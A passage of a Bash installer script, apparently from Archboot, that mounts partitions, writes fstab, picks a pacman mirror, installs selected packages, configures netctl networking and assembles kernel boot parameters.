_mountoptions="$(echo ${_mountoptions} | sed -e 's#^ *##g' -e 's# *$##g' | sed -e 's# #,#g')"
# mount the bad boy
mount -t ${_fstype} -o "${_mountoptions}" ${_device} ${_dest}${_mountpoint} >${LOG} 2>&1
if [[ $? != 0 ]]; then
DIALOG --msgbox "Error mounting ${_dest}${_mountpoint}" 0 0
return 1
fi
# btrfs needs balancing, else weird things could happen
[[ "${_fstype}" = "btrfs" ]] && btrfs balance start ${_dest}${_mountpoint} >${LOG} 2>&1
# change permission of base directories to correct permission
# to avoid btrfs issues
if [[ "${_mountpoint}" = "/tmp" ]]; then
chmod 1777 ${_dest}${_mountpoint}
elif [[ "${_mountpoint}" = "/root" ]]; then
chmod 750 ${_dest}${_mountpoint}
else
chmod 755 ${_dest}${_mountpoint}
fi
fi
# add to .device-names for config files
local _fsuuid="$(getfsuuid ${_device})"
local _fslabel="$(getfslabel ${_device})"
if [[ "${GUID_DETECTED}" == "1" ]]; then
local _partuuid="$(getpartuuid ${_device})"
local _partlabel="$(getpartlabel ${_device})"
echo "# DEVICE DETAILS: ${_device} PARTUUID=${_partuuid} PARTLABEL=${_partlabel} UUID=${_fsuuid} LABEL=${_fslabel}" >> /tmp/.device-names
else
echo "# DEVICE DETAILS: ${_device} UUID=${_fsuuid} LABEL=${_fslabel}" >> /tmp/.device-names
fi
# add to temp fstab
if [[ "${NAME_SCHEME_PARAMETER}" == "FSUUID" ]]; then
if [[ -n "${_fsuuid}" ]]; then
_device="UUID=${_fsuuid}"
fi
elif [[ "${NAME_SCHEME_PARAMETER}" == "FSLABEL" ]]; then
if [[ -n "${_fslabel}" ]]; then
_device="LABEL=${_fslabel}"
fi
else
if [[ "${GUID_DETECTED}" == "1" ]]; then
if [[ "${NAME_SCHEME_PARAMETER}" == "PARTUUID" ]]; then
if [[ -n "${_partuuid}" ]]; then
_device="PARTUUID=${_partuuid}"
fi
elif [[ "${NAME_SCHEME_PARAMETER}" == "PARTLABEL" ]]; then
if [[ -n "${_partlabel}" ]]; then
_device="PARTLABEL=${_partlabel}"
fi
fi
fi
fi
# / root is not needed in fstab, it's mounted automatically
# systemd supports detection on GPT disks:
# /boot as ESP: c12a7328-f81f-11d2-ba4b-00a0c93ec93b
# swap: 0657fd6d-a4ab-43c4-84e5-0933c84b4f4f
# /home: 933ac7e1-2eb4-4f13-b844-0e14e2aef915
# Complex devices, like mdadm, encrypt or lvm are not supported
# _GUID_VALUE:
# get real device name from lsblk first to get GUID_VALUE from blkid
_GUID_VALUE="$(${_BLKID} -p -i -s PART_ENTRY_TYPE -o value $(${_LSBLK} NAME,UUID,LABEL,PARTLABEL,PARTUUID | grep $(echo ${_device} | cut -d"=" -f2) | cut -d" " -f 1))"
if ! [[ "${_GUID_VALUE}" == "933ac7e1-2eb4-4f13-b844-0e14e2aef915" && "${_mountpoint}" == "/home" || "${_GUID_VALUE}" == "0657fd6d-a4ab-43c4-84e5-0933c84b4f4f" && "${_mountpoint}" == "swap" || "${_GUID_VALUE}" == "c12a7328-f81f-11d2-ba4b-00a0c93ec93b" && "${_mountpoint}" == "/boot" && "${_DETECTED_UEFI_BOOT}" == "1" || "${_mountpoint}" == "/" ]]; then
echo -n "${_device} ${_mountpoint} ${_fstype} defaults,${_mountoptions} 0 " >>/tmp/.fstab
if [[ "${_fstype}" = "swap" || "${_fstype}" = "btrfs" ]]; then
echo "0" >>/tmp/.fstab
else
echo "1" >>/tmp/.fstab
fi
fi
}
# source_set()
# check if installation source is set, if not run select_source!
source_set(){
while ! [[ "${S_SRC}" = "1" ]]; do
if ! [[ "${S_SRC}" = "1" ]]; then
DIALOG --msgbox "Error:\nYou have to select Source first." 0 0
select_source || break
fi
done
if [[ "${S_SRC}" = "0" ]]; then
return 1
fi
}
getsource() {
S_SRC=0
if [[ "${MODE}" = "media" ]]; then
get_media
#last fallback, if autodetection fails!
manual_media || return 1
fi
if [[ "${MODE}" = "network" ]]; then
#in order to cache packages from media check on it first!
get_media
select_mirror || return 1
fi
S_SRC=1
}
# select_mirror()
# Prompt user for preferred mirror and set ${SYNC_URL}
#
# args: none
# returns: nothing
select_mirror() {
## Download updated mirrorlist, if possible
curl 'https://www.archlinux.org/mirrorlist/?country=all&protocol=http&protocol=https&ip_version=4&ip_version=6&use_mirror_status=on' > /tmp/pacman_mirrorlist.txt
if [[ "$(grep '#Server = http:' /tmp/pacman_mirrorlist.txt)" ]]; then
mv "${MIRRORLIST}" "${MIRRORLIST}.bak"
cp /tmp/pacman_mirrorlist.txt "${MIRRORLIST}"
fi
# FIXME: this regex doesn't honor commenting
MIRRORS=$(egrep -o '((http)|(https))://[^/]*' "${MIRRORLIST}" | sed 's|$| _|g')
DIALOG --menu "Select a mirror" 14 55 7 \
${MIRRORS} \
"Custom" "_" 2>${ANSWER} || return 1
local _server=$(cat ${ANSWER})
if [[ "${_server}" = "Custom" ]]; then
DIALOG --inputbox "Enter the full URL to repositories." 8 65 \
"" 2>${ANSWER} || return 1
SYNC_URL=$(cat ${ANSWER})
else
# Form the full URL for our mirror by grepping for the server name in
# our mirrorlist and pulling the full URL out. Substitute 'core' in
# for the repository name, and ensure that if it was listed twice we
# only return one line for the mirror.
SYNC_URL=$(egrep -o "${_server}.*" "${MIRRORLIST}" | head -n1)
fi
echo "Using mirror: ${SYNC_URL}" >${LOG}
}
# dotesting()
# enable testing repository on network install
dotesting() {
DOTESTING=""
DIALOG --defaultno --yesno "Do you want to enable [testing] repository?\n\nOnly enable this if you need latest available packages for testing purposes!" 8 60 && DOTESTING="yes"
}
# pacman_conf()
# creates temporary pacman.conf file
pacman_conf() {
if [[ "${MODE}" = "media" ]]; then
local serverurl="${FILE_URL}"
elif [[ "${MODE}" = "network" ]]; then
local serverurl="${SYNC_URL}"
if [[ "${DOTESTING}" = "yes" ]]; then
TESTING_REPOSITORY="[testing]"
TESTING_SERVER="Server = ${serverurl}"
fi
fi
# Setup a pacman.conf in /tmp
cat << EOF > /tmp/pacman.conf
[options]
Architecture = auto
SigLevel = PackageRequired
CheckSpace
CacheDir = ${DESTDIR}/var/cache/pacman/pkg
CacheDir = /packages/core-$(uname -m)/pkg
CacheDir = /packages/core-any/pkg
${TESTING_REPOSITORY}
${TESTING_SERVER}
[core]
Server = ${serverurl}
[extra]
Server = ${serverurl}
EOF
}
# configures pacman and syncs db on destination system
# params: none
# returns: 1 on error
prepare_pacman() {
# Set up the necessary directories for pacman use
[[ ! -d "${DESTDIR}/var/cache/pacman/pkg" ]] && mkdir -m 755 -p "${DESTDIR}/var/cache/pacman/pkg"
[[ ! -d "${DESTDIR}/var/lib/pacman" ]] && mkdir -m 755 -p "${DESTDIR}/var/lib/pacman"
DIALOG --infobox "Refreshing package database..." 6 45
${PACMAN} -Sy >${LOG} 2>&1 || return 1
if [[ $? -ne 0 ]]; then
DIALOG --msgbox "Pacman preparation failed! Check ${LOG} for errors." 6 60
return 1
fi
return 0
}
# Set PACKAGES parameter before running to install wanted packages
run_pacman(){
# create chroot environment on target system
# code straight from mkarchroot
chroot_mount
# execute pacman in a subshell so we can follow its progress
# pacman output goes /tmp/pacman.log
# /tmp/setup-pacman-running acts as a lockfile
( \
echo "Installing Packages..." >/tmp/pacman.log ; \
echo >>/tmp/pacman.log ; \
touch /tmp/setup-pacman-running ; \
${PACMAN} -S ${PACKAGES} 2>&1 >> /tmp/pacman.log ; \
echo $? > /tmp/.pacman-retcode ; \
if [[ $(cat /tmp/.pacman-retcode) -ne 0 ]]; then
echo -e "\nPackage Installation FAILED." >>/tmp/pacman.log
else
echo -e "\nPackage Installation Complete." >>/tmp/pacman.log
fi
rm /tmp/setup-pacman-running
) &
# display pacman output while it's running
sleep 2
dialog --backtitle "${TITLE}" --title " Installing... Please Wait " \
--no-kill --tailboxbg "/tmp/pacman.log" 18 70 2>${ANSWER}
while [[ -f /tmp/setup-pacman-running ]]; do
/usr/bin/true
done
kill $(cat ${ANSWER})
# pacman finished, display scrollable output
local _result=''
if [[ $(cat /tmp/.pacman-retcode) -ne 0 ]]; then
_result="Installation Failed (see errors below)"
else
_result="Installation Complete"
fi
rm /tmp/.pacman-retcode
DIALOG --title "${_result}" --exit-label "Continue" \
--textbox "/tmp/pacman.log" 18 70 || return 1
# ensure the disk is synced
sync
chroot_umount
}
# select_packages()
# prompts the user to select packages to install
#
# params: none
# returns: 1 on error
select_packages() {
source_set || return 1
pacman_conf
prepare_pacman
# Archboot setup media Mode uses packages.txt!
if [[ "${MODE}" = "media" ]]; then
DIALOG --msgbox "Package selection is split into two stages. First you will select package categories that contain packages you may be interested in. Then you will be presented with a full list of packages in your selected categories, allowing you to fine-tune your selection.\n\nNOTE: It is recommended that you install the BASE category from this setup, SUPPORT contains additional useful packages for networking and filesystems, DEVEL contains software building tools." 18 70
PKGS="/packages/core-$(uname -m)/pkg/packages.txt"
if ! [[ -s /tmp/.pkgcategory ]]; then
CHKLIST="base ^ ON"
for category in $(cat ${PKGS} | sed 's|/.*$||g' | uniq | grep -v base ); do
CHKLIST="${CHKLIST} ${category} - OFF"
done
else
CHKLIST=
for i in $(cat /tmp/.pkgcategory | sed 's|\"||g'); do
CHKLIST="${CHKLIST} ${i} ^ ON"
done
for category in $(cat ${PKGS} | sed 's|/.*$||g' | uniq ); do
grep ${category} /tmp/.pkgcategory >/dev/null 2>&1 || CHKLIST="${CHKLIST} ${category} - OFF"
done
fi
DIALOG --checklist "Select Package Categories" 19 55 12 ${CHKLIST} 2>/tmp/.pkgcategory || return 1
SELECTALL="no"
DIALOG --yesno "Select all packages by default?" 0 0 && SELECTALL="yes"
CHKLIST=()
for category in $(cat /tmp/.pkgcategory | sed 's|"||g'); do
tag="OFF"
if [[ "${SELECTALL}" = "yes" ]]; then
tag="ON"
fi
for i in $(grep "${category}/" ${PKGS} | sed -e 's|^[a-z0-9-]*/||g' -e "s|pkg.tar.*$||g" -e 's/-x86_64\.//g' -e 's/-any\.//g'); do
pkgname=${i%-*-*}
pkgdesc $pkgname
CHKLIST+=("${pkgname}" "(${category})" ${tag} "${PKGDESC}")
done
tag="OFF"
done
_package_checklist "Select Packages to install. Use SPACE to select." 1 "${CHKLIST[@]}"
[[ "${ANSWER_CHECKLIST}" = "" ]] && return 1
PACKAGES="${ANSWER_CHECKLIST[@]}"
# network install routine
else
# if selection has been done before, warn about loss of input
# and let the user exit gracefully
if [[ ${S_SELECT} -ne 0 ]]; then
DIALOG --yesno "WARNING: Running this stage again will result in the loss of previous package selections.\n\nDo you wish to continue?" 10 50 || return 1
fi
DIALOG --msgbox "Package selection is split into two stages. First you will select package categories that contain packages you may be interested in. Then you will be presented with a full list of packages for each category, allowing you to fine-tune.\n\n" 10 70
DO_EXTRA=""
DIALOG --defaultno --yesno "Would you like to activate the [extra] repository for package installation to get the complete package list?" 0 0 && DO_EXTRA="yes"
local _catlist="base ^ ON"
if [[ "${DO_EXTRA}" = "yes" ]]; then
# show group listing for group selection
# only show xorg and DEs
for i in $(${PACMAN} -Sg | sed "s/^base$/ /g" | grep -v -e "^kde[a-z]" -e "^kde-meta" -e "^bmp"\
-e "^gimp" -e "^fprint" -e "-l10n" -e "^ladspa"\
-e "qtcurve" -e "^telepathy" -e "^texlive" -e "^gstreamer"\
-e "i18n" -e "^koffice" -e "^vim" -e "^libreoffice"\
-e "^pulseaudio" -e "^calligra" -e "^kde-telepathy" -e "^haskell" | sort); do
_catlist="${_catlist} ${i} - OFF"
done
local _pkgtmp="$(${PACMAN} -Sl core extra | awk '{print $2}')"
else
# show group listing for group selection
# only show xorg and DEs
for i in $(${PACMAN} -Sg | sed "s/^base$/ /g" | grep ^base | sort); do
_catlist="${_catlist} ${i} - OFF"
done
local _pkgtmp="$(${PACMAN} -Sl core | awk '{print $2}')"
fi
DIALOG --checklist "Select Package Categories\nDO NOT deselect BASE unless you know what you're doing!" 20 60 12 ${_catlist} 2>${ANSWER} || return 1
_catlist="$(cat ${ANSWER})"
# assemble a list of packages with groups, marking pre-selected ones
# <package> <group> <selected>
local _pkglist=()
: >/tmp/package-process.log
# display pkglist output while it's running
dialog --backtitle "${TITLE}" --title "Generating list with packages, this might take some time ..." \
--no-kill --tailboxbg "/tmp/package-process.log" 18 70 2>${ANSWER}
# packages in groups
while read pkgname pkgcat; do
pkgdesc $pkgname
echo "Processing "${pkgname}" ..." 2>&1 >> /tmp/package-process.log
# check if this package is in a selected group
# slightly ugly but sorting later requires newlines in the variable
if [[ "${_catlist/"${pkgcat}"/XXXX}" != "${_catlist}" ]]; then
_pkglist+=("${pkgname}" "(${pkgcat})" ON "${PKGDESC}")
else
_pkglist+=("${pkgname}" "(${pkgcat})" OFF "${PKGDESC}")
fi
done < <(${PACMAN} -Si ${_pkgtmp} | \
awk '/^Name/{ printf("%s ",$3) } /^Group/{ print $3 }' | grep -v 'None' | sort -u -f -k 1 | sort -f -k 2)
# packages without groups
while read pkgname pkgcat; do
pkgdesc $pkgname
echo "Processing "${pkgname} ..." " 2>&1 >> /tmp/package-process.log
# check if this package is in a selected group
# slightly ugly but sorting later requires newlines in the variable
if [[ "${_catlist/"${pkgcat}"/XXXX}" != "${_catlist}" ]]; then
_pkglist+=("${pkgname}" "(${pkgcat})" ON "${PKGDESC}")
else
_pkglist+=("${pkgname}" "(${pkgcat})" OFF "${PKGDESC}")
fi
done < <(${PACMAN} -Si ${_pkgtmp} | \
awk '/^Name/{ printf("%s ",$3) } /^Group/{ print $3 }' | grep 'None' | sort -u -f -k 1 | sort -f -k 2)
kill $(cat ${ANSWER})
_package_checklist "Select Packages to install. Use SPACE to select." 1 "${_pkglist[@]}"
[[ "${ANSWER_CHECKLIST}" = "" ]] && return 1
PACKAGES="${ANSWER_CHECKLIST[@]}"
fi
# Add packages which are not in core repository
if [[ -n "$(pgrep dhclient)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w dhclient)" ]] && PACKAGES="${PACKAGES} dhclient"
fi
# Add filesystem packages
if [[ "$(${_LSBLK} FSTYPE | grep ntfs)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w ntfs-3g)" ]] && PACKAGES="${PACKAGES} ntfs-3g"
fi
if [[ "$(${_LSBLK} FSTYPE | grep btrfs)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w btrfs-progs)" ]] && PACKAGES="${PACKAGES} btrfs-progs"
fi
if [[ "$(${_LSBLK} FSTYPE | grep nilfs2)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w nilfs-utils)" ]] && PACKAGES="${PACKAGES} nilfs-utils"
fi
if [[ "$(${_LSBLK} FSTYPE | grep ext)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w e2fsprogs)" ]] && PACKAGES="${PACKAGES} e2fsprogs"
fi
if [[ "$(${_LSBLK} FSTYPE | grep reiserfs)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w reiserfsprogs)" ]] && PACKAGES="${PACKAGES} reiserfsprogs"
fi
if [[ "$(${_LSBLK} FSTYPE | grep xfs)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w xfsprogs)" ]] && PACKAGES="${PACKAGES} xfsprogs"
fi
if [[ "$(${_LSBLK} FSTYPE | grep jfs)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w jfsutils)" ]] && PACKAGES="${PACKAGES} jfsutils"
fi
if [[ "$(${_LSBLK} FSTYPE | grep f2fs)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w f2fs-tools)" ]] && PACKAGES="${PACKAGES} f2fs-tools"
fi
if [[ "$(${_LSBLK} FSTYPE | grep vfat)" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w dosfstools)" ]] && PACKAGES="${PACKAGES} dosfstools"
fi
if ! [[ "$(dmraid_devices)" = "" ]]; then
! [[ "$(echo ${PACKAGES} | grep -w dmraid)" ]] && PACKAGES="${PACKAGES} dmraid"
fi
### HACK:
# always add systemd-sysvcompat components
PACKAGES="$(echo ${PACKAGES} | sed -e "s#\ systemd-sysvcompat\ # #g")"
PACKAGES="${PACKAGES} systemd-sysvcompat"
### HACK:
# always add intel-ucode
PACKAGES="$(echo ${PACKAGES} | sed -e "s#\ intel-ucode\ # #g")"
PACKAGES="${PACKAGES} intel-ucode"
### HACK: circular depends are possible in base, install filesystem first!
PACKAGES="$(echo ${PACKAGES} | sed -e "s#\ filesystem\ # #g")"
PACKAGES="filesystem ${PACKAGES}"
NEXTITEM="6"
S_SELECT=1
}
# install_packages()
# performs package installation to the target system
#
install_packages() {
source_set || return 1
destdir_mounts || return 1
if [[ "${MODE}" = "media" ]]; then
if [[ "${PACKAGES}" = "" || "${S_SELECT}" != "1" ]]; then
DIALOG --msgbox "Error:\nYou have to select packages first." 0 0
select_packages || return 1
fi
else
if [[ "${S_SELECT}" != "1" ]]; then
DIALOG --msgbox "Error:\nYou have to select packages first." 0 0
select_packages || return 1
fi
fi
if [[ "${S_MKFS}" != "1" && "${S_MKFSAUTO}" != "1" ]]; then
getdest
fi
DIALOG --msgbox "Package installation will begin now. You can watch the output in the progress window. Please be patient." 0 0
run_pacman
S_INSTALL=1
NEXTITEM="7"
chroot_mount
# automagic time!
# any automatic configuration should go here
DIALOG --infobox "Writing base configuration..." 6 40
auto_fstab
auto_ssd
auto_mdadm
auto_luks
auto_pacman
auto_testing
# tear down the chroot environment
chroot_umount
}
# auto_fstab()
# preprocess fstab file
# comments out old fields and inserts new ones
# according to partitioning/formatting stage
#
auto_fstab(){
# Modify fstab
if [[ "${S_MKFS}" = "1" || "${S_MKFSAUTO}" = "1" ]]; then
if [[ -f /tmp/.device-names ]]; then
sort /tmp/.device-names >>${DESTDIR}/etc/fstab
fi
if [[ -f /tmp/.fstab ]]; then
# clean fstab first from entries
sed -i -e '/^\#/!d' ${DESTDIR}/etc/fstab
sort /tmp/.fstab >>${DESTDIR}/etc/fstab
fi
fi
}
# auto_ssd()
# add udev rule for ssd disks using the deadline scheduler by default
# add sysctl file for swaps
auto_ssd () {
[[ ! -f ${DESTDIR}/etc/udev/rules.d/60-schedulers.rules ]] && cp /etc/udev/rules.d/60-schedulers.rules ${DESTDIR}/etc/udev/rules.d/60-schedulers.rules
[[ ! -f ${DESTDIR}/etc/sysctl.d/99-sysctl.conf ]] && cp /etc/sysctl.d/99-sysctl.conf ${DESTDIR}/etc/sysctl.d/99-sysctl.conf
}
# auto_mdadm()
# add mdadm setup to existing /etc/mdadm.conf
auto_mdadm()
{
if [[ -e ${DESTDIR}/etc/mdadm.conf ]]; then
if [[ "$(cat /proc/mdstat | grep ^md)" ]]; then
DIALOG --infobox "Adding raid setup to ${DESTDIR}/etc/mdadm.conf ..." 4 40
mdadm -Ds >> ${DESTDIR}/etc/mdadm.conf
fi
fi
}
# auto_network()
# configures network on host system according to installer
# settings if user wishes to do so
#
auto_network()
{
# exit if network wasn't configured in installer
if [[ ${S_NET} -eq 0 ]]; then
return 1
fi
# copy netctl profiles
[[ -d ${DESTDIR}/etc/netctl ]] && cp /etc/netctl/* ${DESTDIR}/etc/netctl/ 2>/dev/null
# enable netctl profiles
for i in $(echo /etc/netctl/*); do
[[ -f $i ]] && chroot ${DESTDIR} /usr/bin/netctl enable $(basename $i)
done
# copy proxy settings
if [[ "${PROXY_HTTP}" != "" ]]; then
echo "export http_proxy=${PROXY_HTTP}" >> ${DESTDIR}/etc/profile.d/proxy.sh;
chmod a+x ${DESTDIR}/etc/profile.d/proxy.sh
fi
if [[ "${PROXY_FTP}" != "" ]]; then
echo "export ftp_proxy=${PROXY_FTP}" >> ${DESTDIR}/etc/profile.d/proxy.sh;
chmod a+x ${DESTDIR}/etc/profile.d/proxy.sh
fi
}
# Pacman signature check is enabled by default
# add gnupg pacman files to installed system
# in order to have a working pacman on installed system
auto_pacman()
{
if ! [[ -d ${DESTDIR}/etc/pacman.d/gnupg ]]; then
DO_PACMAN_GPG=""
DIALOG --yesno "Would you like to copy pacman's GPG files to installed system?\nDuring boot pacman GPG entropy was generated by haveged,\nif you need your own entropy answer NO." 0 0 && DO_PACMAN_GPG="yes"
if [[ "${DO_PACMAN_GPG}" = "yes" ]]; then
DIALOG --infobox "Copy /etc/pacman.d/gnupg directory to ${DESTDIR}/etc/pacman.d/gnupg ..." 0 0
cp -ar /etc/pacman.d/gnupg ${DESTDIR}/etc/pacman.d 2>&1
fi
fi
}
# If [testing] repository was enabled during installation,
# enable it on installed system too!
auto_testing()
{
if [[ "${DOTESTING}" == "yes" ]]; then
sed -i -e '/^#\[testing\]/ { n ; s/^#// }' ${DESTDIR}/etc/pacman.conf
sed -i -e '/^#\[community-testing\]/ { n ; s/^#// }' ${DESTDIR}/etc/pacman.conf
sed -i -e 's:^#\[testing\]:\[testing\]:g' -e 's:^#\[community-testing\]:\[community-testing\]:g' ${DESTDIR}/etc/pacman.conf
fi
}
# donetwork()
# Hand-hold through setting up networking
#
# args: none
# returns: 1 on failure
donetwork() {
NETPARAMETERS=""
while [[ "${NETPARAMETERS}" = "" ]]; do
# select network interface
INTERFACE=
S_DHCP=
ifaces=$(net_interfaces)
while [[ "${INTERFACE}" = "" ]]; do
DIALOG --ok-label "Select" --menu "Select a network interface" 14 55 7 ${ifaces} 2>${ANSWER}
case $? in
1) return 1 ;;
0) INTERFACE=$(cat ${ANSWER}) ;;
esac
done
# wireless switch
CONNECTION=""
WLAN_HIDDEN=""
WLAN_ESSID=""
WLAN_SECURITY=""
WLAN_KEY=""
DIALOG --defaultno --yesno "Is your network device wireless?" 5 40
if [[ $? -eq 0 ]]; then
CONNECTION="wireless"
DIALOG --inputbox "Enter your ESSID" 7 40 "MyNetwork" 2>${ANSWER} || return 1
WLAN_ESSID=$(cat ${ANSWER})
DIALOG --defaultno --yesno "Is your wireless network hidden?" 5 40
[[ $? -eq 0 ]] && WLAN_HIDDEN="yes"
DIALOG --yesno "Is your wireless network encrypted?" 5 40
if [[ $? -eq 0 ]]; then
while [[ "${WLAN_SECURITY}" = "" ]]; do
DIALOG --ok-label "Select" --menu "Select encryption type" 9 40 7 \
"wep" "WEP encryption" \
"wpa" "WPA encryption" 2>${ANSWER}
case $? in
1) return 1 ;;
0) WLAN_SECURITY=$(cat ${ANSWER}) ;;
esac
done
DIALOG --inputbox "Enter your KEY" 5 40 "WirelessKey" 2>${ANSWER} || return 1
WLAN_KEY=$(cat ${ANSWER})
else
WLAN_SECURITY="none"
fi
else
CONNECTION="ethernet"
fi
# dhcp switch
IP=""
DHCLIENT=""
DIALOG --yesno "Do you want to use DHCP?" 5 40
if [[ $? -eq 0 ]]; then
IP="dhcp"
DIALOG --defaultno --yesno "Do you want to use dhclient instead of dhcpcd?" 5 55
[[ $? -eq 0 ]] && DHCLIENT="yes"
S_DHCP=1
else
IP="static"
DIALOG --inputbox "Enter your IP address and netmask" 7 40 "192.168.1.23/24" 2>${ANSWER} || return 1
IPADDR=$(cat ${ANSWER})
DIALOG --inputbox "Enter your gateway" 7 40 "192.168.1.1" 2>${ANSWER} || return 1
GW=$(cat ${ANSWER})
DIALOG --inputbox "Enter your DNS server IP" 7 40 "192.168.1.1" 2>${ANSWER} || return 1
DNS=$(cat ${ANSWER})
fi
DIALOG --yesno "Are these settings correct?\n\nInterface: ${INTERFACE}\nConnection: ${CONNECTION}\nESSID: ${WLAN_ESSID}\nHidden: ${WLAN_HIDDEN}\nEncryption: ${WLAN_SECURITY}\nKey: ${WLAN_KEY}\ndhcp or static: ${IP}\nUse dhclient: ${DHCLIENT}\nIP address: ${IPADDR}\nGateway: ${GW}\nDNS server: ${DNS}" 0 0
case $? in
1) ;;
0) NETPARAMETERS="1" ;;
esac
done
# profile name
NETWORK_PROFILE=""
DIALOG --inputbox "Enter your network profile name" 7 40 "${INTERFACE}-${CONNECTION}" 2>${ANSWER} || return 1
NETWORK_PROFILE=/etc/netctl/$(cat ${ANSWER})
# write profile
echo "Connection=${CONNECTION}" >${NETWORK_PROFILE}
echo "Description='$NETWORK_PROFILE generated by archboot setup'" >>${NETWORK_PROFILE}
echo "Interface=${INTERFACE}" >>${NETWORK_PROFILE}
if [[ "${CONNECTION}" = "wireless" ]]; then
echo "Security=${WLAN_SECURITY}" >>${NETWORK_PROFILE}
echo "ESSID='${WLAN_ESSID}'" >>${NETWORK_PROFILE}
echo "Key='${WLAN_KEY}'" >>${NETWORK_PROFILE}
[[ "${WLAN_HIDDEN}" = "yes" ]] && echo "Hidden=yes" >>${NETWORK_PROFILE}
fi
echo "IP=${IP}" >>${NETWORK_PROFILE}
if [[ "${IP}" = "dhcp" ]]; then
[[ "${DHCLIENT}" = "yes" ]] && echo "DHCPClient=dhclient" >>${NETWORK_PROFILE}
else
echo "Address='${IPADDR}'" >>${NETWORK_PROFILE}
echo "Gateway='${GW}'" >>${NETWORK_PROFILE}
echo "DNS=('${DNS}')" >>${NETWORK_PROFILE}
fi
# bring down interface first
systemctl stop dhcpcd@${INTERFACE}.service
ip link set dev ${INTERFACE} down
# run netctl
netctl restart $(basename ${NETWORK_PROFILE}) >${LOG}
if [[ $? -gt 0 ]]; then
DIALOG --msgbox "Error occured while running netctl. (see 'journalctl -xn' for output)" 0 0
return 1
fi
# http/ftp proxy settings
DIALOG --inputbox "Enter your HTTP proxy server, for example:\nhttp://name:port\nhttp://ip:port\nhttp://username:password@ip:port\n\n Leave the field empty if no proxy is needed to install." 13 65 "" 2>${ANSWER} || return 1
PROXY_HTTP=$(cat ${ANSWER})
DIALOG --inputbox "Enter your FTP proxy server, for example:\nhttp://name:port\nhttp://ip:port\nhttp://username:password@ip:port\n\n Leave the field empty if no proxy is needed to install." 13 65 "" 2>${ANSWER} || return 1
PROXY_FTP=$(cat ${ANSWER})
if [[ "${PROXY_HTTP}" = "" ]]; then
unset http_proxy
else
export http_proxy=${PROXY_HTTP}
fi
if [[ "${PROXY_FTP}" = "" ]]; then
unset ftp_proxy
else
export ftp_proxy=${PROXY_FTP}
fi
DIALOG --msgbox "The network is configured." 8 30
NEXTITEM="2"
S_NET=1
}
getrootfstype() {
ROOTFS="$(getfstype ${PART_ROOT})"
}
getrootflags() {
ROOTFLAGS=""
ROOTFLAGS="$(findmnt -m -n -o options -T ${DESTDIR})"
# add subvolume for btrfs
if [[ "${ROOTFS}" == "btrfs" ]]; then
[[ "$(findmnt -m -n -o SOURCE -T ${DESTDIR} | grep "\[")" ]] && ROOTFLAGS="${ROOTFLAGS},subvol=$(basename "$(findmnt -m -n -o SOURCE -T ${DESTDIR} | cut -d "]" -f1)")"
fi
[[ -n "${ROOTFLAGS}" ]] && ROOTFLAGS="rootflags=${ROOTFLAGS}"
}
getraidarrays() {
RAIDARRAYS=""
if ! [[ "$(grep ^ARRAY ${DESTDIR}/etc/mdadm.conf)" ]]; then
RAIDARRAYS="$(echo -n $(cat /proc/mdstat 2>/dev/null | grep ^md | sed -e 's#\[[0-9]\]##g' -e 's# :.* raid[0-9]##g' -e 's#md#md=#g' -e 's# #,/dev/#g' -e 's#_##g'))"
fi
}
getcryptsetup() {
CRYPTSETUP=""
if ! [[ "$(cryptsetup status $(basename ${PART_ROOT}) | grep inactive)" ]]; then
#avoid clash with dmraid here
if [[ "$(cryptsetup status $(basename ${PART_ROOT}))" ]]; then
if [[ "${NAME_SCHEME_PARAMETER}" == "FSUUID" ]]; then
CRYPTDEVICE="UUID=$(echo $(${_LSBLK} UUID $(cryptsetup status $(basename ${PART_ROOT}) | grep device: | sed -e 's#device:##g')))"
elif [[ "${NAME_SCHEME_PARAMETER}" == "FSLABEL" ]]; then
CRYPTDEVICE="LABEL=$(echo $(${_LSBLK} LABEL $(cryptsetup status $(basename ${PART_ROOT}) | grep device: | sed -e 's#device:##g')))"
else
CRYPTDEVICE="$(echo $(cryptsetup status $(basename ${PART_ROOT}) | grep device: | sed -e 's#device:##g'))"
fi
CRYPTNAME="$(basename ${PART_ROOT})"
CRYPTSETUP="cryptdevice=${CRYPTDEVICE}:${CRYPTNAME}"
fi
fi
}
getrootpartuuid() {
_rootpart="${PART_ROOT}"
_partuuid="$(getpartuuid ${PART_ROOT})"
if [[ -n "${_partuuid}" ]]; then
_rootpart="PARTUUID=${_partuuid}"
fi
}
getrootpartlabel() {
_rootpart="${PART_ROOT}"
_partlabel="$(getpartlabel ${PART_ROOT})"
if [[ -n "${_partlabel}" ]]; then
_rootpart="PARTLABEL=${_partlabel}"
fi
}
getrootfsuuid() {
_rootpart="${PART_ROOT}"
_fsuuid="$(getfsuuid ${PART_ROOT})"
if [[ -n "${_fsuuid}" ]]; then
_rootpart="UUID=${_fsuuid}"
fi
}
getrootfslabel() {
_rootpart="${PART_ROOT}"
_fslabel="$(getfslabel ${PART_ROOT})"
if [[ -n "${_fslabel}" ]]; then
_rootpart="LABEL=${_fslabel}"
fi
}
## Setup kernel cmdline parameters to be added to bootloader configs
bootloader_kernel_parameters() {
if [[ "${GUID_DETECTED}" == "1" ]]; then
[[ "${NAME_SCHEME_PARAMETER}" == "PARTUUID" ]] && getrootpartuuid
[[ "${NAME_SCHEME_PARAMETER}" == "PARTLABEL" ]] && getrootpartlabel
fi
[[ "${NAME_SCHEME_PARAMETER}" == "FSUUID" ]] && getrootfsuuid
[[ "${NAME_SCHEME_PARAMETER}" == "FSLABEL" ]] && getrootfslabel
[[ "${_rootpart}" == "" ]] && _rootpart="${PART_ROOT}"
_KERNEL_PARAMS_COMMON_UNMOD="root=${_rootpart} rootfstype=${ROOTFS} rw ${ROOTFLAGS} ${RAIDARRAYS} ${CRYPTSETUP} cgroup_disable=memory"
_KERNEL_PARAMS_BIOS_UNMOD="${_KERNEL_PARAMS_COMMON_UNMOD}"
_KERNEL_PARAMS_UEFI_UNMOD="${_KERNEL_PARAMS_COMMON_UNMOD} add_efi_memmap"
